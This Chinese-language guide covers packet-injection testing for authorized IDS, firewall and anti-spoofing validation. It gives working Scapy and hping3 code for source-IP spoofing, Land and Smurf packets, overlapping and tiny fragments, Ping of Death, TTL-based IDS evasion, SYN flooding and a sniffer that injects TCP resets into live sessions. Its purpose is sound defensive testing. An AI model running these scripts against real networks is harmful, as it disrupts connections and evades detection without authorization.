执行数据包注入攻击
适用场景
- 通过注入应触发特定检测签名的流量来测试 IDS/IPS 规则
- 通过构造具有特定标志位、源地址和载荷的数据包来验证防火墙规则
- 评估网络协议栈对畸形数据包、分片攻击和协议违规的抵御能力
- 模拟伪造流量以测试反欺骗控制(BCP38、uRPF)
- 执行 TCP 重置注入(RST Injection),测试连接弹性和会话劫持场景
不要用于针对生产系统的拒绝服务攻击、伪造流量以陷害第三方,或在未获明确授权的目标网络上使用。
前置条件
- 明确指定目标范围和批准技术的书面授权
- 测试平台已安装 Scapy、hping3 和 Nemesis
- 用于原始套接字访问和数据包构造的 root/sudo 权限
- 目标端安装了 Wireshark 或 tcpdump 以验证数据包送达
- 了解 TCP/IP 协议内部结构、头部字段和标志位组合
工作流程
步骤 1:使用 Scapy 构造并发送基本测试数据包
#!/usr/bin/env python3
"""使用 Scapy 进行授权测试的基本数据包注入示例。"""
from scapy.all import *
# TCP SYN 数据包(端口扫描模拟)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] 80 端口开放(收到 SYN-ACK)")
elif response[TCP].flags == "RA":
print(f"[*] 80 端口关闭(收到 RST-ACK)")
# TCP XMAS 扫描数据包(所有标志位置位)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS 数据包已发送(应触发 IDS)")
# NULL 扫描数据包(无标志位)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL 数据包已发送")
# 带自定义载荷的 ICMP 数据包
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] 自定义 ICMP 数据包已发送")
# 用于测试防火墙规则的 UDP 数据包
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] 收到来自 {response[IP].src} 的 DNS 响应")
步骤 2:IP 欺骗和反欺骗验证
#!/usr/bin/env python3
"""使用伪造源 IP 数据包测试反欺骗控制。"""
from scapy.all import *
# 伪造源 IP(应被 BCP38/uRPF 拦截)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] 已发送源地址伪造为 192.0.2.100 的 SYN 包")
# Land 攻击测试(源地址 = 目标地址)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land 攻击数据包已发送(src==dst)")
# Smurf 攻击测试(带伪造源的 ICMP 广播包)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf 测试数据包已发送(ICMP 广播包)")
# IP 分片重叠测试
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # 重叠分片
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] 重叠 IP 分片已发送")
步骤 3:TCP 会话操控
# TCP RST 注入测试连接弹性
# 使用 hping3 发送 RST 数据包
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN 泛洪测试(限制数量用于测试,非 DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# 注意:--flood 以最大速率发送;-c 100 限制为 100 个数据包
# 测试 TCP 窗口操控
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # 零窗口
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # 最大窗口
# 空闲扫描探测
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# 检查响应中的 IP ID 值是否可预测
#!/usr/bin/env python3
"""TCP RST 注入,测试会话弹性。"""
from scapy.all import *
# 嗅探活跃 TCP 连接并注入 RST
def rst_inject(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
rst = IP(
src=pkt[IP].dst,
dst=pkt[IP].src
) / TCP(
sport=pkt[TCP].dport,
dport=pkt[TCP].sport,
seq=pkt[TCP].ack,
flags="R"
)
send(rst, verbose=0)
print(f"[*] RST 已注入:{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
# 嗅探 10 个数据包并尝试 RST 注入
print("[*] 正在监听 TCP ACK 数据包以注入 RST...")
sniff(filter="tcp and host 10.10.20.10", prn=rst_inject, count=10, iface="eth0")
步骤 4:协议异常测试
#!/usr/bin/env python3
"""用于 IDS/防火墙测试的协议异常数据包。"""
from scapy.all import *
target = "10.10.20.10"
# 死亡之 Ping(超大 ICMP,应被拦截)
pod = IP(dst=target) / ICMP() / Raw(load="X" * 65500)
send(fragment(pod), verbose=0)
print("[*] 死亡之 Ping 分片已发送")
# 微型分片攻击(TCP 头部跨分片)
tiny_frag = IP(dst=target, flags="MF", frag=0) / Raw(load=bytes(TCP(dport=80, flags="S"))[:8])
tiny_frag2 = IP(dst=target, frag=1) / Raw(load=bytes(TCP(dport=80, flags="S"))[8:])
send(tiny_frag, verbose=0)
send(tiny_frag2, verbose=0)
print("[*] 微型分片攻击数据包已发送")
# 无效 TCP 标志位组合
invalid_flags = [
("SYN+FIN", "SF"),
("SYN+RST", "SR"),
("仅 FIN(无会话)", "F"),
("所有标志位", "FSRPAUEC"),
]
for name, flags in invalid_flags:
pkt = IP(dst=target) / TCP(dport=80, flags=flags)
send(pkt, verbose=0)
print(f"[*] 已发送无效标志位数据包:{name}")
# 基于 TTL 的规避(数据包在到达 IDS 前过期)
# 假设 IDS 在 2 跳外,目标在 5 跳
ttl_evade = IP(dst=target, ttl=3) / TCP(dport=80, flags="S")
send(ttl_evade, verbose=0)
print("[*] 低 TTL 规避数据包已发送(TTL=3)")
# IP 选项填充
ip_opts = IP(dst=target, options=[IPOption_RR()]) / TCP(dport=80, flags="S")
send(ip_opts, verbose=0)
print("[*] 带 IP 记录路由选项的数据包已发送")
步骤 5:验证 IDS 检测
# 检查 Snort/Suricata 是否触发注入数据包的告警
grep -i "xmas\|null\|land\|smurf\|ping.of.death\|fragment" /var/log/suricata/eve.json | \
python3 -m json.tool | head -50
# 预期 IDS 告警:
# - 检测到 XMAS 扫描(SID:2100330)
# - 检测到 NULL 扫描(SID:2100331)
# - 检测到 Land 攻击
# - 检测到 Smurf 攻击
# - 分片异常
# - 无效 TCP 标志位
# 验证防火墙是否丢弃伪造数据包
sudo iptables -L -n -v | grep -i drop
# 检查分片重组错误
dmesg | grep -i "fragment\|frag"
步骤 6:记录结果
# 生成测试结果摘要
cat > packet_injection_report.txt << 'EOF'
数据包注入测试结果
==================
日期:$(date)
目标:10.10.20.10
测试人员:安全评估团队
测试 1:TCP XMAS 扫描
IDS 检测:是(Suricata SID 2100330)
防火墙动作:丢弃
测试 2:IP 欺骗(192.0.2.100)
uRPF 拦截:是(边界路由器丢包)
IDS 检测:是(源地址不在 HOME_NET 内)
测试 3:分片重叠
IDS 检测:是(流重组异常)
目标响应:操作系统丢弃分片
测试 4:无效 TCP 标志位
IDS 检测:是(SYN+FIN、SYN+RST 被标记)
防火墙动作:丢弃
EOF
核心概念
| 术语 | 定义 |
|---|---|
| 数据包注入(Packet Injection) | 构造并发送具有特定头部值、载荷或标志位组合的网络数据包,以测试网络安全控制 |
| IP 欺骗(IP Spoofing) | 在构造数据包中设置虚假源 IP,测试反欺骗控制(BCP38、uRPF)或冒充其他主机 |
| TCP RST 注入(TCP RST Injection) | 发送伪造的 TCP RST 数据包以终止已建立的连接,测试会话弹性和连接重置防御 |
| 分片攻击(Fragmentation Attack) | 利用 IP 分片将恶意载荷拆分到多个分片中,规避不重组分片的数据包检测 |
| uRPF(单播反向路径转发) | 路由器级别的反欺骗机制,若源 IP 无法通过入口接口路由返回则丢弃数据包 |
| BCP38(网络入口过滤) | 通过过滤来自不属于该网络的源地址数据包来防止边界 IP 欺骗的最佳实践 |
工具与系统
- Scapy:Python 数据包操控库,可对所有协议头部进行完全控制的任意网络数据包构造
- hping3:命令行数据包生成器,支持 TCP、UDP、ICMP,可控制标志位、TTL、窗口大小和数据包速率
- Nemesis:网络数据包注入工具,支持 Ethernet、ARP、IP、TCP、UDP、ICMP、DNS 等协议
- tcpreplay:以受控速率重放捕获 PCAP 文件的工具,用于针对已知流量模式测试 IDS 规则
- Nping:Nmap 的数据包生成工具,可构造带任意 TCP/UDP/ICMP 头部的探测包
常见场景
场景:部署后验证 IDS 规则
背景:SOC 团队部署了用于检测侦察和规避技术的新 Suricata 规则,需要在正式上线前验证规则是否正确触发。测试在复制生产环境的暂存环境中进行。
方法:
- 使用 Scapy 构造 XMAS、NULL 和 FIN 扫描数据包并发送到测试目标,验证扫描检测规则
- 生成带无效 TCP 标志位组合(SYN+FIN、SYN+RST)的数据包,测试协议异常规则
- 发送超大 ICMP 数据包和分片载荷,测试分片检测规则
- 注入带伪造源 IP 的数据包,验证反欺骗规则是否正确触发
- 在活跃 HTTP 会话期间发送 TCP RST 注入数据包,测试会话中断检测
- 验证所有预期的 Suricata 告警是否以正确的严重级别和元数据出现在 EVE JSON 日志中
- 记录哪些规则触发、哪些未触发,并建议针对任何差距进行规则调优
注意事项:
- 注入速度过快,压垮测试网络或 IDS 传感器
- 数据包校验和计算错误,导致数据包在到达 IDS 前被静默丢弃
- 未考虑有状态防火墙会在数据包到达 IDS 检测之前丢弃非法状态数据包
- 从 NAT 后方测试导致源端口被修改,破坏构造的 TCP 序号
输出格式
## 数据包注入测试报告
**目标**:10.10.20.10(test-server-01)
**IDS 传感器**:suricata-staging-01
**测试日期**:2024-03-15
### 测试矩阵
| 测试 | 数据包类型 | 预期检测 | 实际结果 |
|------|-----------|---------|---------|
| 1 | TCP XMAS 扫描 | SID 2100330 | 已检测 |
| 2 | TCP NULL 扫描 | SID 2100331 | 已检测 |
| 3 | SYN+FIN 无效标志 | SID 2100332 | 已检测 |
| 4 | IP 伪造源 | SID 2003000 | 已检测 |
| 5 | Land 攻击 | SID 2100333 | 未检测 |
| 6 | 分片重叠 | SID 2200001 | 已检测 |
| 7 | 死亡之 Ping | SID 2100334 | 已检测 |
| 8 | TCP RST 注入 | 自定义 SID | 未检测 |
### 检测率:6/8(75%)
### 已识别的差距
1. Land 攻击(src==dst)未被检测 — 添加规则 SID 2100333
2. TCP RST 注入未被检测 — 为窗口外 RST 创建自定义规则